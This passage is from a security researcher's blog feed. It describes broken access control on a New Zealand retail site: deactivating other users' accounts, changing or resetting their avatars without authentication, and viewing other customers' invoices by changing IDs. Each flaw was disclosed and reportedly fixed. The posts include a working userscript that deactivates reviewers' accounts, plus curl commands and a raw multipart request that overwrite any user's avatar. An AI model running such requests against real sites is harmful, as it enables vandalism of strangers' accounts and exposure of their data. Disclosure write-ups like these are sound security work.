I think that this CMS/website builder is proprietary software that isn&amp;rsquo;t offered to the public.&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>I reached out to the website administrator on the 31st of March 2024 via email and received no response.
I reached out to the owners of this website again on the 9th of April via their Facebook page.
They informed me that they had passed my email on to their external web development team.
I suspect that this team is responsible for the aforementioned CMS.&lt;/p>
&lt;p>I have decided to publish this post while the issue still exists since the potential for abuse is low.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@jerry_318?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Jerry Wang&lt;/a> on &lt;a href="https://unsplash.com/photos/wooden-train-toy-on-track-LXIH6QHz6ko?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Deactivating Other People's Accounts on a Retail Website</title><link>https://jesse.hacks.nz/p/deactivating-other-peoples-accounts-on-a-retail-website/</link><pubDate>Mon, 15 Apr 2024 18:00:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/deactivating-other-peoples-accounts-on-a-retail-website/</guid><description>&lt;img src="https://jesse.hacks.nz/p/deactivating-other-peoples-accounts-on-a-retail-website/kai-pilger-1k3vsv7iIIc-unsplash.jpg" alt="Featured image of post Deactivating Other People's Accounts on a Retail Website" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>In the &lt;a class="link" href="https://jesse.hacks.nz/p/change-other-peoples-avatars-on-a-retail-website/" >previous article&lt;/a> on changing the avatars of other accounts I briefly discussed how each account has a user ID that is associated with it.
We saw how knowing the ID of another account could be used to change that account&amp;rsquo;s avatar.
It turns out there&amp;rsquo;s something else we can do that is way more interesting.&lt;/p>
&lt;h2 id="user-management">User Management
&lt;/h2>&lt;p>This website allows one account to be managed by many users.
This would be useful for a business, for example, where it may have more than one person purchasing items from this website.
When you create an account you automatically have the ability to start adding more users under your own account.
These settings can be found in &amp;ldquo;user management&amp;rdquo; section of the account menu.
Not only can we change the settings of a user that has signed up underneath us but also the settings of our own account.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/005/permissions.png">&lt;figcaption>
&lt;h4>Some of the options we have available to us.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>As you can see in the image above, one of the settings is named &amp;ldquo;User Active&amp;rdquo;.
If we uncheck this box and save the form, the currently signed in user is signed out and is unable to sign back in without opening a support ticket.
I don&amp;rsquo;t know if this is intentional, since it seems a little strange that a user can brick their own account on accident (ask me how I know).&lt;/p>
&lt;h2 id="targeting-another-user">Targeting Another User
&lt;/h2>&lt;p>Right clicking the form (specifically the submit button) and inspecting the elements reveals a hidden field nearby with a user ID in it.
We know what to do with this!&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/005/form-with-user-id.png">&lt;figcaption>
&lt;h4>The hidden user ID field in the user management form.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Let&amp;rsquo;s see what happens if we were to replace that user ID with the user ID of a different account (that we control, of course).
Let&amp;rsquo;s also ensure that the &amp;ldquo;User Active&amp;rdquo; checkbox isn&amp;rsquo;t ticked.
After submitting the form, the page reloads and the &amp;ldquo;User Active&amp;rdquo; checkbox is ticked again.
Upon reloading the tab with the target user account we can see that we are redirected to the sign in page.
Any attempt to sign in results in the following error.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/005/failed-sign-in.png">&lt;figcaption>
&lt;h4>Uh-oh! It seems as though we can deactivate anybody&amp;#39;s account.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Similar to the previous issues I&amp;rsquo;ve found on this website, this one comes down to the backend not checking whether or not we have permission to perform an action.&lt;/p>
&lt;h2 id="a-proof-of-concept">A Proof of Concept
&lt;/h2>&lt;p>Since this issue is fairly bad I decided to make a userscript that could make deactivating user accounts as simple as clicking a button.
If you are unfamiliar, a userscript is like a mini browser extension that is loaded into every page of a particular website that enables some functionality.
You&amp;rsquo;ll need a userscript browser extension to run them such as &lt;a class="link" href="https://www.tampermonkey.net/" target="_blank" rel="noopener"
>TamperMonkey&lt;/a>.&lt;/p>
&lt;p>This userscript adds a bomb button to each review that wasn&amp;rsquo;t written by a &amp;ldquo;guest&amp;rdquo;.
When clicked, this button will deactivate the reviewer&amp;rsquo;s account.
This works for testimonials as well.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/005/reviews.png">&lt;figcaption>
&lt;h4>Say goodbye to bad reviews!&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/005/testimonials.png">&lt;figcaption>
&lt;h4>It works on testimonials too!&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>You can find the source below.
It&amp;rsquo;s not a lot of code for the amount of damage one could do with this hack.
Of course, by the time you&amp;rsquo;re reading this, the issue will be fixed and this code won&amp;rsquo;t do anything but I like to show that you can achieve quite a lot with very little.
The developers reading this will note that this could be simplified a lot more by simply using the &lt;a class="link" href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API" target="_blank" rel="noopener"
>Fetch API&lt;/a>.&lt;/p>
&lt;details>
&lt;summary>Click to expand source code&lt;/summary>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// ==UserScript==
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @name Deactivate Any User
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @namespace https://jesse.hacks.nz/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @version 2024-03-23
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @description Adds a button to reviews that allows you to deactivate the reviewer&amp;#39;s account.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @author Jesse Sheehan
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @match https://www.website-name.co.nz/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// @grant none
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// ==/UserScript==
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;use strict&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">containers&lt;/span> &lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[...&lt;/span>&lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">querySelectorAll&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;.js-report-user-content:not([data-uid=&amp;#39;0&amp;#39;])&amp;#34;&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">map&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">div&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">div&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">parentNode&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">containers&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">forEach&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">container&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">userId&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">container&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">querySelector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;.js-report-user-content&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">getAttribute&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;data-uid&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">div&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">createElement&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;div&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">div&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">innerHTML&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sb">`
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sb"> &amp;lt;form method=&amp;#34;post&amp;#34; action=&amp;#34;/my-account/user-management&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sb"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;user_id&amp;#34; value=&amp;#34;&lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">userId&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sb"> &amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;submit_edit_user&amp;#34; value=&amp;#34;Update Details&amp;#34; /&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sb"> &amp;lt;button type=&amp;#34;submit&amp;#34; title=&amp;#34;Deactivate User&amp;#34; style=&amp;#34;width:24px; height: 24px; padding:0;&amp;#34;&amp;gt;💣&amp;lt;/button&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sb"> &amp;lt;/form&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="sb"> `&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">container&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">appendChild&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">div&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">})();&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/details>
&lt;p>Interestingly, even after a user is deactivated all their reviews are still present on the site.
This leads me to believe that it simply prevents users from signing in normally but preserves their user details.&lt;/p>
&lt;p>And of course, since the user ID is just a positive integer, it would be trivial to write a script to deactivate everyone&amp;rsquo;s account with this trick.&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>This issue was found on the 24th of March 2024.
Since I already had two other support tickets in flight I decided not to reach out to them specifically on this one.
I was contacted on the 27th of March by this website&amp;rsquo;s support team and it was fixed within one week of that.
They no longer include the user ID field in the form, instead opting to use the user ID of the logged in user.
I was impressed by the response time of their development team and their eagerness to improve the security of their website.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@kaip?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Kai Pilger&lt;/a> on &lt;a href="https://unsplash.com/photos/closeup-photo-of-street-go-and-stop-signage-displaying-stop-1k3vsv7iIIc?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Change Other People's Avatars on a Retail Website</title><link>https://jesse.hacks.nz/p/change-other-peoples-avatars-on-a-retail-website/</link><pubDate>Sat, 06 Apr 2024 16:00:00 +1300</pubDate><guid>https://jesse.hacks.nz/p/change-other-peoples-avatars-on-a-retail-website/</guid><description>&lt;img src="https://jesse.hacks.nz/p/change-other-peoples-avatars-on-a-retail-website/ben-sweet-2LowviVHZ-E-unsplash.jpg" alt="Featured image of post Change Other People's Avatars on a Retail Website" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>This particular online retail store has an avatar feature for user accounts.
As in, your account has a little picture (an avatar) that is associated with your account.
One of the places this little picture is used is when you write a testimonial or product review; it is placed next to your name.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/004/review.png">&lt;figcaption>
&lt;h4>An example of a product review with an avatar. Choo choo.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Anyway, one can change their own avatar by going to their &amp;ldquo;personal settings&amp;rdquo; page.
You&amp;rsquo;ll find that there are two options relating to your avatar there: you can upload a custom avatar, or reset it back to the default.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/004/settings.png">&lt;figcaption>
&lt;h4>The options available to set or reset your avatar.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="a-primer-on-user-ids">A Primer on User IDs
&lt;/h2>&lt;p>Each account on this website has a unique positive integer known as a user ID.
You can find your own number by going to your account dashboard and looking at your account number.
Your user ID is the number part after the letters.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/004/your-user-id.png">&lt;figcaption>
&lt;h4>In this case, the user ID is 1973851.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>You can also find other people&amp;rsquo;s user IDs scattered about the DOM.
For example, inspecting the button to report a review will reveal the user ID of the reviewer (pictured).&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/004/finding-user-ids.png">&lt;figcaption>
&lt;h4>The &amp;#39;data-uid&amp;#39; attribute contains the user ID of the reviewer.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>There are many other ways of finding out the ID of a user; this is just one of them.
Armed with someone else&amp;rsquo;s user ID you can now perform some actions on their behalf.&lt;/p>
&lt;h2 id="resetting-any-avatar">Resetting Any Avatar
&lt;/h2>&lt;p>Let&amp;rsquo;s assume there is another account on this website that has an avatar (I imagine there are lots of these, in fact, the majority of the accounts on the site are likely not yours).
Let&amp;rsquo;s also assume that you know the user ID of that account.&lt;/p>
&lt;p>All you need to do now to reset someone else&amp;rsquo;s avatar is to make an HTTP POST request to &lt;code>/code/ajax_avatar_reset_pdo.php&lt;/code> with the body &lt;code>uID=123456&lt;/code> where &lt;code>123456&lt;/code> is the user ID of that other user.
You should receive back a JSON success message.
This is the same request that is made when you reset your own ID except that you are providing someone else&amp;rsquo;s ID instead.&lt;/p>
&lt;p>This is probably less than ideal.
Imagine if you took great care in selecting an avatar and then one day you find that your picture had been reset to the default avatar.
That would suck!&lt;/p>
&lt;h2 id="setting-any-avatar">Setting Any Avatar
&lt;/h2>&lt;p>The second issue is that you can essentially do the same thing but instead of resetting an avatar, you can instead &lt;em>set&lt;/em> it to anything you want.&lt;/p>
&lt;p>All you need to do here is to send a POST request to &lt;code>/code/ajax_avatar_upload_pdo.php&lt;/code> with the following body (and a &lt;code>multipart/form-data&lt;/code> content-type header with the appropriate boundary) and you&amp;rsquo;ll be able to change the avatar of any user on the site.
This endpoint returns a success message as well as the filename of the image that can be used to build the URL for it.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-----------------------------263549667038225259264045948163
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Content-Disposition: form-data; name=&amp;#34;uID&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">INSERT TARGET USER ID HERE
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-----------------------------263549667038225259264045948163
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Content-Disposition: form-data; name=&amp;#34;avatarImage&amp;#34;; filename=&amp;#34;meme.jpg&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Content-Type: image/jpeg
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">INSERT RAW IMAGE DATA HERE
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-----------------------------263549667038225259264045948163--
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>As you can imagine, this issue is much more problematic than the previous one.&lt;/p>
&lt;details>
&lt;summary>An aside about Firefox Devtools&lt;/summary>
&lt;p>For some reason, when I was using Firefox&amp;rsquo;s devtools to replay the request, the image gets partially garbled.
I cannot figure out why this happens but I suspect it is a bug to do with the binary encoding/decoding in the replay panel.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/004/avatar-comparison.png">&lt;figcaption>
&lt;h4>My avatar (left) compared with the avatar I uploaded for my other account (right).&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>However, I can confirm that this is just a quirk of Firefox.&lt;/p>
&lt;/details>
&lt;h2 id="no-auth-here">No Auth Here
&lt;/h2>&lt;p>Reading this post you might be thinking &amp;ldquo;okay, well this is obviously a case of the backend not checking the ID of the signed in user&amp;rdquo;, and you&amp;rsquo;d be right&amp;hellip; kinda.
It&amp;rsquo;s a bit more complicated than that, because you don&amp;rsquo;t actually need to be signed in at all!
It turns out these endpoints are &lt;em>completely&lt;/em> unauthenticated.
Yeah, you can just fire off an anonymous request to perform these actions 😬.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/004/upload-with-curl.png">&lt;figcaption>
&lt;h4>A demonstration of the avatar upload.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h3 id="change-an-avatar-with-curl">Change an Avatar with cURL
&lt;/h3>&lt;p>Assuming that you have an image named &amp;ldquo;meme.jpg&amp;rdquo; in your current directory, and your target user&amp;rsquo;s ID was &amp;ldquo;???&amp;rdquo;, then the following will allow you to change their avatar.
This is how I was able to confirm that the image corruption issue earlier was related to Firefox&amp;rsquo;s devtools.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -X POST https://www.website-name.co.nz/code/ajax_avatar_upload_pdo.php -F &lt;span class="s1">&amp;#39;avatarImage=@meme.jpg&amp;#39;&lt;/span> -F &lt;span class="s1">&amp;#39;uID=???&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="reset-an-avatar-with-curl">Reset an Avatar with cURL
&lt;/h3>&lt;p>Similarly, an avatar can be reset:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -X POST https://www.website-name.co.nz/code/ajax_avatar_reset_pdo.php -F &lt;span class="s1">&amp;#39;uID=???&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Look ma; no creds!&lt;/p>
&lt;h2 id="potential-impact">Potential Impact
&lt;/h2>&lt;p>Because of the following factors, this issue could be pretty serious:&lt;/p>
&lt;ol>
&lt;li>There is no authorization layer on these endpoints.&lt;/li>
&lt;li>There is no authentication layer on these endpoints.&lt;/li>
&lt;li>All user IDs are just postive integers.&lt;/li>
&lt;/ol>
&lt;p>It would be trivial for one to write a script to iterate over all the users on the site, changing or resetting them as they wish.
I imagine this would cause more than a few headaches for this website&amp;rsquo;s support team.
Furthermore, it does not appear that old avatars image files are actually deleted from this website&amp;rsquo;s servers (free cloud storage, anyone?).&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>At this point in time I already had one support email in flight requesting an audience with this website&amp;rsquo;s support team, so I figured I&amp;rsquo;d try and get their attention with a different tactic.
This website has a sister company that offers &amp;ldquo;Penetration testing and Vulnerability assessments&amp;rdquo;; at the bottom of that page was a contact form that I used to notify them of this issue.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/004/security-services.png">&lt;figcaption>
&lt;h4>Perhaps they need to hire themselves, eh?&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>After reaching out via the form on the website on the 24th of March 2024 I received a response on the 27th of March.
These issues were fixed within a few days of being reported.
Their solution was to remove the &lt;code>uID&lt;/code> request parameter and instead just make the endpoints operate on the signed-in user.
This is a good solution to the problem; in the general case it doesn&amp;rsquo;t make sense to pass in a user ID when making these kinds of changes.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@benjaminsweet?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Ben Sweet&lt;/a> on &lt;a href="https://unsplash.com/photos/silhouette-of-man-illustration-2LowviVHZ-E?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Your Order History: For All the World to See</title><link>https://jesse.hacks.nz/p/your-order-history-for-all-the-world-to-see/</link><pubDate>Sat, 30 Mar 2024 22:45:00 +1300</pubDate><guid>https://jesse.hacks.nz/p/your-order-history-for-all-the-world-to-see/</guid><description>&lt;img src="https://jesse.hacks.nz/p/your-order-history-for-all-the-world-to-see/towfiqu-barbhuiya-HNPrWOH2Z8U-unsplash.jpg" alt="Featured image of post Your Order History: For All the World to See" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>This website is one of New Zealand&amp;rsquo;s largest online tech retailers.
They have been in business since the &amp;rsquo;90s and have made a name for themselves as &lt;em>the&lt;/em> place to go if you want to buy pretty much any electronic device.
They also have a seemingly aging PHP backend for their website; this is good news for would-be hackers.&lt;/p>
&lt;p>In my opinion, the most &lt;em>interesting&lt;/em> features of this website are the ones that require you to be logged in.
As an example, when you are logged in, you can look over transactions that are associated with your account.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/003/my-invoice.png">&lt;figcaption>
&lt;h4>My invoice as viewed from my own account.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>However, what happens if you change the transaction ID in the URL to be something else?
This is something I attempt often on websites since it seems to be handled incorrectly fairly often.
In the above picture, what happens when we add 1 to the ID, changing the &amp;ldquo;202&amp;rdquo; to &amp;ldquo;203&amp;rdquo;?
Well, see for yourself&amp;hellip;&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/003/my-invoice-plus-1.png">&lt;figcaption>
&lt;h4>Someone else&amp;#39;s invoice. This could be from a walk-in cash sale.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Yep, that&amp;rsquo;s someone else&amp;rsquo;s order alright.
Replete with all the details you could possibly want.
I suspect that the &amp;ldquo;ordered by&amp;rdquo; field in this case relates to the specific till that was used for the cash sale.
Further down the page we can also see the line-by-line breakdown of the items purchased.&lt;/p>
&lt;h2 id="if-only-it-were-that-easy">If Only It Were That Easy
&lt;/h2>&lt;p>After discovering this first one my next instinct was to try and find other transactions to see if this was just a one-off.
Many IDs I tried to enter into the URL I was not allowed to view.&lt;/p>
&lt;p>Because of this I&amp;rsquo;m not entirely sure what the rule is that determines whether or not anyone with any account can view the order?
Perhaps it&amp;rsquo;s to do with whether or not it was an in-store cash sale versus an online order.
Perhaps that order doesn&amp;rsquo;t actually exist.
I&amp;rsquo;m really not sure.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/003/not-allowed.png">&lt;figcaption>
&lt;h4>A random invoice number that doesn&amp;#39;t work.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="interacting-with-the-order">Interacting with the Order
&lt;/h2>&lt;p>At the bottom of the page is a form where you can contact the support team of this website about your order, as well as a history of messages that have been sent.&lt;/p>
&lt;p>I decided to send a message from one account onto the invoice of another account.
The request appears to have been accepted by the server but no message appeared in the message history.&lt;/p>
&lt;h2 id="getting-personally-identifiable-information">Getting Personal(ly Identifiable Information)
&lt;/h2>&lt;p>Okay, so being able to read arbitrary invoices isn&amp;rsquo;t particularly damning (although it is absolutely concerning that this information is available).
I also wanted to check to see if someone could view &lt;em>my&lt;/em> personal information using this trick.
I found an order of mine that had an old delivery address on it and attempted to view it while signed in to a different account.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/003/my-invoice-as-viewed-from-another-account.png">&lt;figcaption>
&lt;h4>My invoice. As viewed from another account. This is bad.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>I wasn&amp;rsquo;t thrilled to learn that my name, address, and purchase history are just on display for anyone in the world to view.
This is probably not what people who use this website expect when they make purchases.
I know &lt;em>I&lt;/em> certainly didn&amp;rsquo;t expect this!&lt;/p>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>I reached out to this website&amp;rsquo;s support email address to report the issue on the evening of March 21st 2024.
Six days later my support ticket was followed up on and I was able to provide their team with the details of this issue and two others (coming soon to this blog).
Within three hours of me providing them with the details this issue was fixed and I was no longer able to view my own order information from other accounts.&lt;/p>
&lt;p>I was pleasantly surprised by how quick and effective the team at this website were in fixing this issue.
Great job!&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@towfiqu999999?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Towfiqu barbhuiya&lt;/a> on &lt;a href="https://unsplash.com/photos/person-holding-black-and-white-electronic-device-HNPrWOH2Z8U?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
